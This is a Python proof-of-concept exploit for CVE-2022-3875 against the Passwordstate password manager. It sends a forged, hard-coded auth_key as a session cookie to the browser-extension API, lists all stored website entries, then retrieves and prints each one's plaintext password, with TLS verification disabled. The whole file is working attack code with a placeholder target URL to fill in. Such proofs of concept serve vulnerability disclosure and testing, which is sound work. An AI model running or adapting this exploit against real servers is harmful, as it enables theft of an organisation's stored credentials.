CVE-2022-3875

#!/usr/bin/python3
import requests

# Change URL to your Passwordstate
url = "https://pws.mycompany.com"

# generated auth_key based on user "f4a42868-fa74-429f-ac76-f655f8524f88"
auth_key = "5705580D03090F011C57580E051C0D0B0857145852060F1457070C0C57090C0B055701010A0A02"

cookies = {"session-id": auth_key}
data = {"auth_key": auth_key}
response = requests.post(url + "/api/browserextension/getwebsites/", cookies=cookies, data=data, verify=False)
website_list = response.json()
if response.status_code == 200:
    print(f"[+] Found {len(website_list)} passwords")
    for item in website_list:
        data["PasswordID"] = item["PasswordID"]
        response = requests.post(url + "/api/browserextension/getpassword/", cookies=cookies, data=data, verify=False)
        item["Password"] = response.json()[0]["Password"]
        print(item)
else:
    print(f'[-] Could not access API {response.status_code}')